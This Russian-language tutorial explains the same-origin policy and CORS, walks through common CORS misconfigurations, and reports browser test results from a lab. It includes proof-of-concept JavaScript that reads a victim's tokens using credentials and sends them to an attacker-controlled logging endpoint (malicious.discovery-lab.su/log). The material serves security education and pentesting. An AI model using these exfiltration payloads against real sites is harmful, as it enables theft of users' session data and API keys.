March 16

Курс на мисконфиги. Как поймать проблемный CORS на проде

  1. Same Origin Policy
  2. Cross-Origin Resource Sharing (CORS)
  3. Частые ошибки конфигурации CORS
  4. В поисках мисконфигов
  5. Тестирование
  6. Результаты
  7. Выводы

В этой статье мы рас­ска­жем, как работа­ет тех­нология SOP, которая защища­ет твой бра­узер от вре­донос­ных скрип­тов. Раз­берем основные виды мис­конфи­гов и сос­тавим шпар­галки с раз­ными слу­чаями поведе­ния CORS. В кон­це раз­берем при­мер и про­верим работос­пособ­ность PoC.

SAME ORIGIN POLICY

SOP (Same Origin Policy) — это полити­ка безопас­ности бра­узе­ра, которая кон­тро­лиру­ет вза­имо­дей­ствие меж­ду сай­тами. Она нуж­на для пре­дот­вра­щения кра­жи дан­ных поль­зовате­ля вре­донос­ным скрип­том.

До внед­рения SOP, дан­ные кра­ли так:

  1. Ата­кующий зас­тавля­ет жер­тву перей­ти на вре­донос­ный сайт с уже под­готов­ленным экс­пло­итом на JavaScript.
  2. Жер­тва переш­ла по ссыл­ке, и от ее име­ни отправ­ляет­ся зап­рос на сайт, содер­жащий ее важ­ные дан­ные.
  3. От­вет от сай­та чита­ется скрип­том и переда­ется на сер­вер зло­умыш­ленни­ка.
  4. Зло­умыш­ленник получа­ет лич­ные дан­ные, которые может исполь­зовать для раз­вития ата­ки.

Проб­лема в том, что ког­да бра­узер отправ­ляет HTTP-зап­рос из одно­го источни­ка в дру­гой, cookie-фай­лы, отно­сящи­еся к дру­гому домену, тоже отправ­ляют­ся в зап­росе. Это зна­чит, что ответ будет сге­нери­рован в рам­ках сеан­са поль­зовате­ля и будет вклю­чать в себя дос­тупные толь­ко ему дан­ные. Что­бы пре­дот­вра­тить такое поведе­ние и сущес­тву­ет SOP.

Меж­сай­товые вза­имо­дей­ствия обыч­но делят на три катего­рии:

  1. Меж­сай­товые записи. Как пра­вило, допус­кают­ся. Это могут быть ссыл­ки, редирек­ты, фор­мы, отправ­ка зап­росов через fetch и так далее. Некото­рые «слож­ные» зап­росы тре­буют pre-flight (пред­варитель­ного зап­роса) но об этом погово­рим отдель­но.
  2. Меж­сай­товое встра­ива­ние. Обыч­но раз­решено. Нап­ример, для под­груз­ки ресур­сов через теги img, video, frame и ана­логич­ные им.
  3. Меж­сай­товое чте­ние. Как пра­вило, не допус­кают­ся, но дос­туп к чте­нию час­то про­сачи­вает­ся путем встра­ива­ния. Нап­ример, ты можешь про­читать ширину и высоту встро­енно­го изоб­ражения, получить резуль­тат дей­ствия встро­енно­го сце­нария или про­верить дос­тупность встро­енно­го ресур­са.

В качес­тве иллюс­тра­ции отпра­вим нес­коль­ко зап­росов со стра­ницы http://discovery-lab.su/index.html. Реак­ция SOP при­веде­на в таб­лице ниже.

А вот схе­ма, показы­вающая, из чего сос­тоит заголо­вок Origin.

CROSS-ORIGIN RESOURCE SHARING (CORS)

Рань­ше сай­там тре­бова­лось вза­имо­дей­ство­вать друг с дру­гом, но SOP бло­киро­вала мно­жес­тво таких зап­росов. Тог­да люди при­дума­ли механизм CORS (Cross-Origin Resource Sharing), который пред­назна­чал­ся для смяг­чения полити­ки SOP.

Вот чуть более под­робное опи­сание из справ­ки Mozilla:

«Cross-Origin Resource Sharing — механизм, исполь­зующий допол­нитель­ные HTTP-заголов­ки, что­бы дать воз­можность аген­ту поль­зовате­ля получать раз­решения на дос­туп к выб­ранным ресур­сам с сер­вера на источни­ке (домене), отличном от того, что сайт исполь­зует в дан­ный момент. Говорят, что агент поль­зовате­ля дела­ет зап­рос с дру­гого источни­ка (cross-origin HTTP request), если источник текуще­го докумен­та отли­чает­ся от зап­рашива­емо­го ресур­са доменом, про­токо­лом или пор­том».

Те­перь давай раз­берем­ся с дву­мя заголов­ками, на которые пред­сто­ит чаще все­го обра­щать вни­мание: Access-Control-Allow-Origin и Access-Control-Allow-Credentials.

Access-Control-Allow-Origin

За­голо­вок отве­та Access-Control-Allow-Origin показы­вает, с какого источни­ка может быть дос­тупен ответ сер­вера.

Воз­можные зна­чения:

  1. Звез­дочка — говорит бра­узе­рам раз­решать зап­рос любого про­исхожде­ния для дос­тупа к ресур­су (но толь­ко для зап­росов без учет­ных дан­ных).
  2. <domain> — ука­зыва­ет одно про­исхожде­ние, с которо­го мож­но получать ответ сер­вера.
  3. null — ука­зыва­ет «нулевое» про­исхожде­ние. Ни­ког­да не добав­ляй его в белый спи­сок! Про­исхожде­ние для некото­рых схем (data:, file:) и докумен­ты, дос­тупные через песоч­ницу, опре­деля­ются как «нулевые».

Access-Control-Allow-Credentials

В зависи­мос­ти от заголов­ков, меж­сай­товые зап­росы могут быть переда­ны без куки или заголов­ка авто­риза­ции. Впро­чем, если задана нас­трой­ка CORS Access-Control-Allow-Credentials: true, то сер­вер может раз­решить чте­ние отве­та, ког­да переда­ются куки или заголо­вок авто­риза­ции.

За­меть, это несов­мести­мо с Access-Control-Allow-Origin: *.

Простые и сложные запросы

Прос­той зап­рос – это зап­рос, удов­летво­ряющий сле­дующим усло­виям:

  • ис­поль­зует метод: GET, POST или HEAD;
  • ис­поль­зует толь­ко прос­тые заголов­ки из спис­ка ниже.
    • Accept,
    • Accept-Language,
    • Content-Language,
    • Content-Type со зна­чени­ями application/x-www-form-urlencoded, multipart/form-data и text/plain.

Лю­бой дру­гой зап­рос счи­тает­ся «слож­ным». Нап­ример, зап­рос с методом PUT или с HTTP-заголов­ком API-Key не будет соот­ветс­тво­вать усло­виям.

Прин­ципи­аль­ное отли­чие меж­ду прос­тым и слож­ным зап­росами — в том, что прос­той зап­рос может быть сде­лан через <form> или <script> без каких‑то спе­циаль­ных методов.

Для слож­ного зап­роса мы можем исполь­зовать любой HTTP-метод: не толь­ко GET/POST, но и PATCH, DELETE и дру­гие.

Не­кото­рое вре­мя назад ник­то не мог даже пред­положить, что веб‑стра­ница спо­соб­на делать такие зап­росы. Так что могут сущес­тво­вать веб‑сер­висы, которые рас­смат­рива­ют нес­тандар­тный метод как сиг­нал «Это не бра­узер!» и учи­тывать это при про­вер­ке прав дос­тупа. Что­бы избе­жать недопо­нима­ний, бра­узер не дела­ет «слож­ные» зап­росы (которые нель­зя было сде­лать в прош­лом) сра­зу. Перед этим он посыла­ет зап­рос pre-flight, спра­шивая раз­решения.

Запросы pre-flight

Зап­росы pre-flight исполь­зует метод OPTIONS. У него нет тела, но есть три заголов­ка:

  • Origin содер­жит имен­но источник (домен, про­токол или порт), без пути;
  • Access-Control-Request-Method содер­жит HTTP-метод «неп­росто­го» зап­роса;
  • Access-Control-Request-Headers пре­дос­тавля­ет раз­делен­ный запяты­ми спи­сок его «слож­ных» HTTP-заголов­ков.

Ес­ли сер­вер сог­ласен при­нимать такие зап­росы, то он дол­жен отве­тить без тела, со ста­тусом 200 и со сле­дующи­ми заголов­ками:

  • Access-Control-Allow-Origin дол­жен содер­жать раз­решен­ный источник;
  • Access-Control-Allow-Methods дол­жен содер­жать раз­решен­ные методы; > Access-Control-Allow-Headers дол­жен содер­жать спи­сок раз­решен­ных заголов­ков.

Кро­ме того, в заголов­ке Access-Control-Max-Age может быть ука­зано количес­тво секунд, на которое нуж­но кеширо­вать раз­решения. Так что бра­узе­ру не при­дет­ся посылать pre-flight для пос­леду­ющих зап­росов, если раз­решение еще дей­ству­ет.

Вот, нап­ример, pre-flight зап­рос на при­мене­ние метода PUT и поль­зователь­ско­го заголов­ка Special-Request-Header:

OPTIONS /data HTTP/1.1 Host: <some website> ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header

Сер­вер может вер­нуть ответ, подоб­ный сле­дующе­му:

HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240

ЧАСТЫЕ ОШИБКИ КОНФИГУРАЦИИ CORS

При экс­плу­ата­ции мис­конфи­гов CORS мы учи­тыва­ем те же фак­торы, что и при CSRF-ата­ках, но допол­нитель­но еще смот­рим на заголов­ки Access-Control-Allow-Origin и Access-Control-Allow-Credentials. Если повезет, мы смо­жем про­читать ответ сер­вера, что невоз­можно при CSRF-ата­ках.

Раз­берем мис­конфи­ги CORS, которые я встре­чал чаще все­го:

  1. от­ражение Origin в ответном заголов­ке сер­вера Access-Control-Allow-Origin;
  2. зна­чение null в белом спис­ке;
  3. ошиб­ки пар­синга заголов­ка Origin.

Отражение Origin в ответном заголовке

Пред­ставь, что у тебя огромное при­ложе­ние. Новые домены появ­ляют­ся каж­дый день, тебе нуж­но сле­дить за все­ми и сво­евре­мен­но добав­лять их в спи­сок раз­решен­ных доменов. Сто­ит упус­тить пару доменов, и что‑то сло­мает­ся.

Что­бы избе­жать поломок, раз­работ­чики некото­рых при­ложе­ний идут по прос­тому пути и раз­реша­ют дос­туп из любого дру­гого домена. Один из спо­собов сде­лать это — про­читать заголо­вок Origin из зап­роса и вклю­чить в заголо­вок отве­та. Нап­ример, рас­смот­рим при­ложе­ние, которое получа­ет сле­дующий зап­рос:

GET /get-my-tokens HTTP/1.1 Host: vulnerable.discovery-lab.su Origin: https://malicious.su Cookie: sessionid= ...

От­вет сер­вера:

HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious.su Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Max-Age: 240 ...

В заголов­ках выше ука­зано, что дос­туп раз­решен из зап­рашива­юще­го домена (malicious.su) и что зап­росы меж­ду источни­ками могут вклю­чать фай­лы cookie и заголов­ки авто­риза­ции (Access-Control-Allow-Credentials: true). Поэто­му зап­росы будут обра­баты­вать­ся в сеан­се жер­твы.

Пос­коль­ку при­ложе­ние отоб­ража­ет про­изволь­ные источни­ки в заголов­ке Access-Control-Allow-Origin, абсо­лют­но любой домен может получить дос­туп к ресур­сам сай­та из кон­тро­лиру­емо­го домена от име­ни жер­твы. Если ответ содер­жит кон­фиден­циаль­ную информа­цию вро­де клю­чей API или токена CSRF, ты можешь получить ее, раз­местив на сво­ем веб‑сер­вере вот такой скрипт:

var req = new XMLHttpRequest(); // 1req.onload = reqListener; // 2req.open('get','https://vulnerable.discovery-lab.su/get-my-tokens',true); // 3req.withCredentials = true; // 4req.send(); // 5function reqListener() { // 6 location='/log?key='+this.responseText;};

Да­вай раз­берем, как работа­ет этот скрипт.

  1. Соз­даем новый объ­ект XMLHttpRequest, который поз­воля­ет отправ­лять HTTP-зап­росы к сер­веру и получать отве­ты на них.
  2. Ус­танав­лива­ем обра­бот­чик события onload, который будет вызывать­ся вся­кий раз, ког­да зап­рос завер­шится успешно.
  3. Вы­зыва­ем метод open() у объ­екта XMLHttpRequest для откры­тия соеди­нения с сер­вером, куда идет зап­рос на получе­ние информа­ции о деталях акка­унта.
  4. Ус­танав­лива­ем зна­чение true для свой­ства withCredentials объ­екта XMLHttpRequest. Это свой­ство поз­волит отправ­лять и получать информа­цию о cookies меж­ду раз­ными домена­ми при исполь­зовании CORS.
  5. Вы­зыва­ем метод send() объ­екта XMLHttpRequest для отправ­ки GET-зап­роса на сер­вер, ука­зан­ный в парамет­ре open().
  6. В фун­кции onload (reqListener()) обра­баты­вает­ся ответ сер­вера. В парамет­рах GET-зап­роса стро­ки заменя­ются на ответ сер­вера.

За­меть, перемен­ной location прис­ваивает­ся новое зна­чение, что при­ведет к перенап­равле­нию поль­зовате­ля на новую стра­ницу. Ответ, получен­ный ранее от сер­вера, переда­ется парамет­ром в фун­кцию log.

Значение null в белом списке

Иног­да для удобс­тва локаль­ного тес­тирова­ния при­ложе­ния раз­работ­чики добав­ляют про­исхожде­ние null в белый спи­сок. Эта оплошность поз­воля­ет зло­умыш­ленни­ку получить дос­туп к ресур­сам сай­та из кон­тро­лиру­емо­го домена от име­ни жер­твы.

Про­цесс экс­плу­ата­ции и сам скрипт очень похожи на пер­вый слу­чай, но есть одно сущес­твен­ное отли­чие — зап­рос дол­жен быть ини­цииро­ван из схе­мы data: или file:.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data: text/html,<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable.discovery-lab.su/get-my-tokens',true); req.withCredentials = true;req.send(); function reqListener() { location='malicious.discovery-lab.su/log?key='+this.responseText;};</script>"></iframe>

Ошибки парсинга заголовка Origin

Не­кото­рые при­ложе­ния, работа­ющие с заголов­ком Origin, исполь­зуют пар­синг на осно­ве регуляр­ных выраже­ний. Рас­смот­рим при­мер и уви­дим импакт, который могут дать кри­во написан­ные регуляр­ки. Отпра­вим нес­коль­ко зап­росов к сер­вису с раз­ных источни­ков.

Под­домен sub1:

Host: sub1.vulnerable.su HTTP/1.1 200 OK Access-Control-Allow-Origin: https://sub1.vulnerable.su Access-Control-Allow-Credentials: true

Под­домен somesub2:

Host: somesub2.vulnerable.su HTTP/1.1 200 OK Access-Control-Allow-Origin: https://somesub2.vulnerable.su Access-Control-Allow-Credentials: true

Сайт, кон­тро­лиру­емый зло­умыш­ленни­ком (malicous.com):

Host: malicous.com HTTP/1.1 200 OK

Из отве­тов выше можем выяс­нить, что дос­туп на чте­ние к ресур­су могут получить толь­ко его под­домены. Пред­ста­вим, что сайт исполь­зует регуляр­ку [a-zA-Z0-9]*.vulnerable.com для про­вер­ки при­над­лежнос­ти источни­ка.

Ес­ли ты не зна­ком с син­такси­сом RegEx, то пред­ставь, что страш­ная стро­ка выше — это что‑то вро­де мас­ки, на соот­ветс­твие которой про­веря­ется стро­ка (то есть домен). Здесь:

  • [a-zA-Z0-9] — любая циф­ра или бук­ва;
  • звез­дочка — сопос­тавля­ет иду­щее перед ней выраже­ние от нуля до неог­раничен­ного количес­тва раз, столь­ко раз, сколь­ко воз­можно;
  • точ­ка — cоот­ветс­тву­ет любому сим­волу, вклю­чая сим­волы Unicode (кро­ме сим­вола кон­ца стро­ки);
  • vulnerable и com — строч­ки, которые дол­жны при­сутс­тво­вать в про­веря­емом тек­сте.

Ито­го сов­падение будет в слу­чае, если сна­чала идет какое‑то количес­тво цифр и букв (может быть нулевым), потом любой сим­вол, потом vulnerable, сно­ва любой сим­вол и в кон­це стро­ка com.

Оче­вид­но, что раз­работ­чик исполь­зовал точ­ку, имея в виду имен­но сим­вол точ­ки, который бы отде­лял под­домен. В таком слу­чае точ­ку нуж­но было экра­ниро­вать, пос­тавив перед ней слэш (\.), но об этом лег­ко забыть, а при­ложе­ние будет работать и с ошиб­кой.

По­луча­ется, что зло­умыш­ленник теперь может зарегис­три­ровать домен maclicousvulnerable.com и получить дос­туп к ресур­сам сай­та из кон­тро­лиру­емо­го домена от име­ни жер­твы.

В ПОИСКАХ МИСКОНФИГОВ

Те­перь, ког­да мы пол­ностью разоб­рались с механиз­мом работы CORS и его основны­ми механиз­мами, прис­тупим к поис­ку мис­конфи­гов! Для это­го мы соз­дали неболь­шую ла­бора­торию, где ты смо­жешь про­верять работос­пособ­ность сво­их PoC. Код пока зак­рыт, но поз­же откро­ется, и ссыл­ка ста­нет дос­тупна.

Мы отправ­ляли зап­росы из трех бра­узе­ров:

  • Chromium (Version 118.0.5993.117);
  • Mozilla Firefox 121.0;
  • Safari 16.5 Mac Ventura (BrowserStack).

Для упро­щения тес­тирова­ния мы соз­дали три эндпо­инта с раз­ными нас­трой­ками.

На каж­дый из эндпо­интов отправ­ляли по зап­росу GET и POST из интерфей­са лабы.

ТЕСТИРОВАНИЕ

В иссле­дова­нии мы рас­смат­ривали шесть сце­нари­ев, в которых зап­рос стра­ницы при­водит к перехо­ду на дру­гой сайт.

На скрин­шоте — поведе­ние CORS при отправ­ке зап­росов с «неиз­вес­тно­го» источни­ка https://lab.sidneyjob.ru на источник https://discovery-lab.su.

Раз­лича­ются домены источни­ков

По­веде­ние CORS при отправ­ке зап­росов с источни­ка https://discovery-lab.su:444 на источник https://discovery-lab.su:443, у которых раз­лича­ется толь­ко порт.

Раз­лича­ются пор­ты источни­ков

По­веде­ние CORS, ког­да при отправ­ке зап­росов с http://discovery-lab.su на https://discovery-lab.su отли­чают­ся схе­мы источни­ков.

Раз­лича­ются схе­мы источни­ков

По­веде­ние CORS, ког­да при отправ­ке зап­росов с https://l3.discovery-lab.su на https://l3-2.discovery-lab.su отли­чают­ся под­домены, но кор­невой домен оста­ется тем же.

Раз­лича­ются под­домены источни­ков

По­веде­ние CORS, ког­да при отправ­ке зап­росов с https://l4.l3.discovery-lab.su на https://l3.discovery-lab.su отли­чают­ся уров­ни под­доменов, то есть зап­росы идут с домена чет­верто­го уров­ня на домен треть­его уров­ня, но кор­невой домен оста­ется тем же.

Раз­лича­ются уров­ни под­доменов источни­ков

По­веде­ние CORS, ког­да зап­росы идут с https://discovery-lab.su:443 на тот же источник https://discovery-lab.su:443.

Ис­точник обра­щает­ся сам к себе

РЕЗУЛЬТАТЫ

Во всех про­верен­ных бра­узе­рах CORS реали­зован оди­нако­во. Впро­чем, это не помеша­ло нам най­ти инте­рес­ные осо­бен­ности поведе­ния!

Ес­ли сайт исполь­зует самопод­писан­ный, чужой или по какой‑то еще при­чине невер­ный сер­тификат, то при перехо­де на сайт бра­узер генери­рует окно с пре­дуп­режде­нием, отго­вари­вая нас перехо­дить на подоз­ритель­ный ресурс.

Ес­ли жер­тва ни разу не заходи­ла на подоз­ритель­ный сайт с невер­ным сер­тифика­том, а скрипт пыта­ется сде­лать зап­рос к нему, то воз­ника­ет воп­рос, что же делать? Каж­дый из бра­узе­ров отве­тил по раз­ному.

В Safari ни один зап­рос не будет доходить до сай­та.

В Firefox пер­вый зап­рос не прой­дет, а пос­леду­ющие прой­дут.

В Chromium прой­дут все зап­росы без про­вер­ки пас­порта.

ВЫВОДЫ

Итак, мы вспом­нили, как работа­ет SOP и CORS, пос­мотре­ли на воз­можные мис­конфи­ги и спо­собы их экс­плу­ата­ции, про­вели нес­коль­ко экспе­римен­тов и даже вспом­нили, как работа­ют регуляр­ки! Если ты раз­работ­чик, ста­рай­ся не допус­кать подоб­ных оплошнос­тей, а если пен­тестер, то помоги в этом раз­работ­чику!